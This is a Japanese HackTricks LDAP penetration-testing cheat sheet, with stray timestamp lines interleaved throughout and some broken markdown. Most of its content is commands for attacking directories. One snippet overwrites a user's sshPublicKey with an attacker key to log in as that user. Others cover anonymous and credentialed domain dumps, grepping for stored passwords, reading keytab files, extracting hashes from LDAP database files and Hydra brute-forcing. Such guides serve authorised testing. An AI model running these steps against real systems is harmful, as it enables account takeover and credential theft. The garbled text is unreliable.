2023-12-26 22:04:57 +00:00
# 389, 636, 3268, 3269 - LDAPのペネトレーションテスト
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-12-26 22:04:57 +00:00
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社を宣伝**したいですか?または、**最新版のPEASSを入手**したり、HackTricksをPDFで**ダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS & HackTricksグッズ** ](https://peass.creator-spring.com )を手に入れましょう。
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks\_live )**に**フォローしてください。
* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
2022-04-28 16:01:33 +00:00
< / details >
2023-07-07 23:42:27 +00:00
## 基本情報
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
出典: [https://searchmobilecomputing.techtarget.com/definition/LDAP ](https://searchmobilecomputing.techtarget.com/definition/LDAP )
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
LDAP( Lightweight Directory Access Protocol) は、公共インターネットでも企業のイントラネットでも、ネットワーク内の組織、個人、その他の**リソース**(ファイルやデバイスなど)を**検索**するためのソフトウェアプロトコルです。LDAPはDirectory Access Protocol( DAP) の「軽量」( コード量が少ない) バージョンです。
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
LDAPディレクトリは、多くのサーバーに**分散**されています。各サーバーは、定期的に**同期**される全ディレクトリの**複製**バージョンを持つことができます。LDAPサーバーはDirectory System Agent( DSA) と呼ばれます。ユーザーからのリクエストを受け取ったLDAPサーバーは、リクエストに対する責任を持ち、必要に応じて他のDSAに渡しますが、ユーザーに対して単一の調整された応答を保証します。
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
LDAPディレクトリは、以下のレベルを含む単純な「ツリー」階層で構成されています:
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
* ルートディレクトリ(ツリーの出発点または源)、これが分岐して
* 各国、それぞれが分岐して
* 組織、これが分岐して
* 組織単位(部門、部署など)、これが分岐して(エントリを含む)
* 個人(人々、ファイル、プリンターなどの共有リソースを含む)
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
**デフォルトポート:** 389および636( ldaps) 。グローバルカタログ( ActiveDirectoryのLDAP) は、デフォルトでポート3268およびLDAPSの3269で利用可能です。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
2023-12-26 22:04:57 +00:00
### LDAPデータ交換フォーマット
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
LDIF( LDAP Data Interchange Format) は、ディレクトリの内容を一連のレコードとして定義します。また、更新リクエスト( 追加、変更、削除、名前変更) を表すこともできます。
2021-06-08 20:38:29 +00:00
```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
2023-12-26 22:04:57 +00:00
* 1〜3行目はトップレベルドメインlocalを定義しています
* 5〜8行目はファーストレベルドメインmoneycorp( moneycorp.local) を定義しています
* 10〜16行目は2つの組織単位: devとsalesを定義しています
* 18〜26行目はドメインのオブジェクトを作成し、属性に値を割り当てます
2021-06-08 20:38:29 +00:00
2023-07-07 23:42:27 +00:00
## データの書き込み
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
値を変更できる場合、非常に興味深いアクションを実行できる可能性があります。例えば、ユーザーまたは任意のユーザーの**"sshPublicKey"情報を変更できる**と想像してください。この属性が存在する場合、**sshはLDAPから公開鍵を読み込んでいる**可能性が高いです。ユーザーの公開鍵を変更できれば、**sshでパスワード認証が有効になっていなくてもそのユーザーとしてログインできる**でしょう。
2020-07-15 15:43:14 +00:00
```bash
>>> import ldap3
2022-10-05 21:51:12 +00:00
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
2020-07-15 15:43:14 +00:00
>>> connection.bind()
True
2022-10-05 21:51:12 +00:00
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
2020-07-15 15:43:14 +00:00
```
2023-12-26 22:04:57 +00:00
## クリアテキスト資格情報のスニッフィング
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
LDAPがSSLなしで使用されている場合、ネットワーク上で**クリアテキストの資格情報をスニッフィング**することができます。
2022-10-05 21:51:12 +00:00
2023-12-26 22:04:57 +00:00
また、**LDAPサーバーとクライアントの間で**ネットワーク上で**MITM**攻撃を実行することができます。ここで**ダウングレード攻撃**を行うと、クライアントは**クリアテキストの資格情報**を使用してログインします。
2022-10-05 21:51:12 +00:00
2023-12-26 22:04:57 +00:00
**SSLが使用されている場合**、上記のように**MITM**を試みることができますが、**偽の証明書**を提供します。**ユーザーがそれを受け入れた場合**、認証方法をダウングレードして再び資格情報を見ることができます。
2022-10-05 21:51:12 +00:00
2023-07-07 23:42:27 +00:00
## 匿名アクセス
2022-10-05 21:51:12 +00:00
2023-07-07 23:42:27 +00:00
### TLS SNIチェックのバイパス
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
[**このライトアップ** ](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ )によると、彼は任意のドメイン名( company.comのような) でLDAPサーバーにアクセスするだけで、匿名ユーザーとしてLDAPサービスに接続し、情報を抽出することができました。
2020-07-15 15:43:14 +00:00
```bash
2022-10-05 21:51:12 +00:00
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
### LDAP匿名バインド
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
[LDAP匿名バインド ](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled )は、**認証されていない攻撃者**がドメインから情報を取得することを可能にします。これには、ユーザー、グループ、コンピューター、ユーザーアカウント属性、およびドメインパスワードポリシーの完全なリストが含まれます。これは**レガシーな設定**であり、Windows Server 2003以降、認証されたユーザーのみがLDAPリクエストを開始することが許可されています。\
しかし、管理者は特定のアプリケーションで匿名バインドを**設定する必要があった**かもしれませんが、意図した以上のアクセス権を与えてしまい、認証されていないユーザーがAD内のすべてのオブジェクトにアクセスできるようになっている可能性があります。
2022-10-05 21:51:12 +00:00
2023-07-07 23:42:27 +00:00
## 有効な資格情報
2022-10-05 21:51:12 +00:00
2023-12-26 22:04:57 +00:00
LDAPサーバーにログインする有効な資格情報を持っている場合、以下を使用してドメイン管理者に関するすべての情報をダンプできます:
2022-10-05 21:51:12 +00:00
[ldapdomaindump ](https://github.com/dirkjanm/ldapdomaindump )
2022-10-05 00:11:28 +00:00
```bash
2023-07-07 23:42:27 +00:00
pip3 install ldapdomaindump
2022-10-05 21:51:12 +00:00
ldapdomaindump < IP > [-r < IP > ] -u '< domain > \<username>' -p '< password > ' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
2022-10-05 00:11:28 +00:00
```
2022-10-05 21:51:12 +00:00
### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap)
2023-07-07 23:42:27 +00:00
## 列挙
2022-10-04 23:49:59 +00:00
2023-07-07 23:42:27 +00:00
### 自動化
2022-10-04 23:49:59 +00:00
2023-12-26 22:04:57 +00:00
これを使用すると、**公開情報**(ドメイン名など)を確認できます。
2022-10-04 23:49:59 +00:00
```bash
nmap -n -sV --script "ldap* and not brute" < IP > #Using anonymous credentials
```
2022-10-05 21:51:12 +00:00
### Python
2022-10-04 23:49:59 +00:00
2022-10-05 21:51:12 +00:00
< details >
2023-12-26 22:04:57 +00:00
< summary > Pythonを使ったLDAP列挙を見る< / summary >
2022-10-05 21:51:12 +00:00
2023-12-26 22:04:57 +00:00
**資格情報の有無にかかわらずPythonを使用してLDAPを列挙する**ことができます: `pip3 install ldap3`
2022-10-04 23:49:59 +00:00
2023-12-26 22:04:57 +00:00
まず、資格情報**なしで**接続を試みます:
2022-10-04 23:49:59 +00:00
```bash
>>> import ldap3
2022-10-05 21:51:12 +00:00
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
2022-10-04 23:49:59 +00:00
>>> connection.bind()
True
2022-10-05 21:51:12 +00:00
>>> server.info
2022-10-04 23:49:59 +00:00
```
2023-12-26 22:04:57 +00:00
応答が前の例のように`True`である場合、LDAP( **naming context**や**domain name**など)サーバーからいくつかの**興味深いデータ**を取得できます。
2022-10-05 21:51:12 +00:00
```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
2023-07-07 23:42:27 +00:00
Naming contexts:
2022-10-05 21:51:12 +00:00
dc=DOMAIN,dc=DOMAIN
```
2023-12-26 22:04:57 +00:00
```markdown
一度命名コンテキストを取得すると、もっとエキサイティングなクエリを実行できます。このシンプルなクエリはディレクトリ内のすべてのオブジェクトを表示するはずです:
```
2022-10-05 21:51:12 +00:00
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(& (objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
2023-07-07 23:42:27 +00:00
または、ldap全体を**ダンプ**します:
2022-10-04 23:49:59 +00:00
```bash
2022-10-05 21:51:12 +00:00
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(& (objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
2022-10-04 23:49:59 +00:00
```
2022-10-05 21:51:12 +00:00
< / details >
2022-10-04 23:49:59 +00:00
2022-10-05 21:51:12 +00:00
### windapsearch
2022-10-04 23:49:59 +00:00
2023-12-26 22:04:57 +00:00
[**Windapsearch** ](https://github.com/ropnop/windapsearch ) \*\*\*\* は、LDAPクエリを利用して**Windowsドメインからユーザー、グループ、コンピューターを列挙する**ためのPythonスクリプトです。
2022-10-04 23:49:59 +00:00
```bash
2022-10-05 21:51:12 +00:00
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
2022-10-04 23:49:59 +00:00
```
2022-10-05 21:51:12 +00:00
### ldapsearch
2021-01-06 00:08:54 +00:00
2023-12-26 22:04:57 +00:00
nullクレデンシャルがあるか、またはあなたのクレデンシャルが有効かどうかを確認します:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '' -w '' -b "DC=< 1_SUBDOMAIN > ,DC=< TLD > "
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
```bash
2022-05-01 12:49:36 +00:00
# CREDENTIALS NOT VALID RESPONSE
2020-07-15 15:43:14 +00:00
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
2023-07-07 23:42:27 +00:00
tion a successful bind must be completed on the connection., data 0, v3839
2020-07-15 15:43:14 +00:00
```
2023-12-26 22:04:57 +00:00
```
_bindが完了しなければならない_という表示がある場合、それは資格情報が正しくないことを意味します。
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
ドメインから**すべてを抽出**するには:
```
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
-x Simple Authentication
2022-07-13 14:08:05 +00:00
-H LDAP Server
2020-07-15 15:43:14 +00:00
-D My User
-w My password
-b Base site, all data from here will be given
```
2023-12-26 22:04:57 +00:00
**ユーザー**の抽出:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
2020-07-15 15:43:14 +00:00
```
2023-12-26 22:04:57 +00:00
**コンピューター**の抽出:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Computers,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2023-12-26 22:04:57 +00:00
**私の情報を抽出する**:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=< MY NAME > ,CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2023-12-26 22:04:57 +00:00
**ドメイン管理者の抽出**:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Domain Admins,CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2023-12-26 22:04:57 +00:00
**ドメインユーザーの抽出**:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Domain Users,CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2023-12-26 22:04:57 +00:00
**エンタープライズ管理者を抽出する**:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Enterprise Admins,CN=Users,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2023-12-26 22:04:57 +00:00
**管理者**の抽出:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Administrators,CN=Builtin,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2023-12-26 22:04:57 +00:00
**リモートデスクトップグループ**の抽出:
2020-07-15 15:43:14 +00:00
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://< IP > -D '< DOMAIN > \<username>' -w '< password > ' -b "CN=Remote Desktop Users,CN=Builtin,DC=< 1_SUBDOMAIN > ,DC=< TLD > "
2020-07-15 15:43:14 +00:00
```
2023-12-26 22:04:57 +00:00
クエリの実行後、パスワードへのアクセス権があるかどうかを確認するには、grepを使用できます:
2020-07-15 15:43:14 +00:00
```bash
< ldapsearchcmd... > | grep -i -A2 -B2 "userpas"
```
2023-12-26 22:04:57 +00:00
以下のパスワードは実際のものではない可能性がありますのでご注意ください...
2022-05-01 13:25:53 +00:00
#### pbis
2021-01-06 00:08:54 +00:00
2023-12-26 22:04:57 +00:00
**pbis**はこちらからダウンロードできます: [https://github.com/BeyondTrust/pbis-open/ ](https://github.com/BeyondTrust/pbis-open/ ) 通常、`/opt/pbis`にインストールされています。\
**Pbis**を使用すると、基本情報を簡単に取得できます:
2021-01-06 00:08:54 +00:00
```bash
2021-01-19 17:57:39 +00:00
#Read keytab file
./klist -k /etc/krb5.keytab
2021-01-06 00:08:54 +00:00
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user < username >
./lsa list-groups-for-user < username >
2021-01-06 00:15:17 +00:00
#Get groups of each user
2021-01-06 00:08:54 +00:00
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
2021-01-06 00:15:17 +00:00
#Get users of each group
2021-01-06 00:08:54 +00:00
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n < Username > | grep "CN" | while read line; do
2023-07-07 23:42:27 +00:00
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n < username > -a lookup-object --dn="$line" --attr "description";
echo "======================"
2021-01-06 00:08:54 +00:00
done
```
2023-07-07 23:42:27 +00:00
## グラフィカルインターフェース
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### Apache Directory
2020-09-13 20:20:14 +00:00
2023-12-26 22:04:57 +00:00
[**ここからApache Directoryをダウンロードしてください** ](https://directory.apache.org/studio/download/download-linux.html )。このツールの使用例は[こちらで確認できます](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s)。
2020-09-13 20:20:14 +00:00
2022-05-01 13:25:53 +00:00
### jxplorer
2020-09-13 20:20:14 +00:00
2023-12-26 22:04:57 +00:00
LDAPサーバー用のグラフィカルインターフェースはこちらからダウンロードできます: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
デフォルトでは、以下の場所にインストールされます: _/opt/jxplorer_
2020-07-15 15:43:14 +00:00
2022-09-30 10:43:59 +00:00
![](< .. / . gitbook / assets / image ( 22 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
### Godap
[https://github.com/Macmod/godap ](https://github.com/Macmod/godap ) でアクセスできます。
## kerberos経由での認証
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
`ldapsearch` を使用して、**NTLM** ではなく **kerberos** に対して**認証**するには、パラメータ `-Y GSSAPI` を使用します。
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
## POST
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
データベースが含まれているファイルにアクセスできる場合( _/var/lib/ldap_ にある可能性があります)、以下を使用してハッシュを抽出できます:
2020-07-15 15:43:14 +00:00
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
2023-12-26 22:04:57 +00:00
johnにパスワードハッシュを供給できます( '{SSHA}'から'structural'までで、'structural'を追加せずに)。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### 設定ファイル
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
* 一般
2023-07-07 23:42:27 +00:00
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
2023-12-26 22:04:57 +00:00
* IBM SecureWay V3 サーバー
2023-07-07 23:42:27 +00:00
* V3.sas.oc
2023-12-26 22:04:57 +00:00
* Microsoft Active Directory サーバー
2023-07-07 23:42:27 +00:00
* msadClassesAttrs.ldif
2020-07-15 15:43:14 +00:00
* Netscape Directory Server 4
2023-07-07 23:42:27 +00:00
* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
2023-12-26 22:04:57 +00:00
* OpenLDAP ディレクトリサーバー
2023-07-07 23:42:27 +00:00
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
2020-07-15 15:43:14 +00:00
* Sun ONE Directory Server 5.1
2023-07-07 23:42:27 +00:00
* 75sas.ldif
2021-08-12 13:06:00 +00:00
2023-07-07 23:42:27 +00:00
## HackTricks 自動コマンド
2021-10-18 11:21:18 +00:00
```
2021-08-12 13:06:00 +00:00
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
2021-08-15 17:52:05 +00:00
Entry_1:
2023-07-07 23:42:27 +00:00
Name: Notes
Description: Notes for LDAP
Note: |
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
2021-08-15 17:52:05 +00:00
2023-07-07 23:42:27 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-ldap
2021-08-15 17:52:05 +00:00
Entry_2:
2023-07-07 23:42:27 +00:00
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
2021-08-15 17:52:05 +00:00
Entry_3:
2023-07-07 23:42:27 +00:00
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
2021-08-15 17:52:05 +00:00
Entry_4:
2023-07-07 23:42:27 +00:00
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
2021-08-15 17:52:05 +00:00
Entry_5:
2023-07-07 23:42:27 +00:00
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
2021-09-25 16:33:43 +00:00
2021-09-13 15:45:07 +00:00
Entry_6:
2023-07-07 23:42:27 +00:00
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
2021-08-12 13:06:00 +00:00
```
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-12-26 22:04:57 +00:00
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を掲載**したいですか?または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS & HackTricksグッズ** ](https://peass.creator-spring.com )を手に入れましょう。
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks\_live )**にフォローしてください。**
* **[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。**
2022-04-28 16:01:33 +00:00
< / details >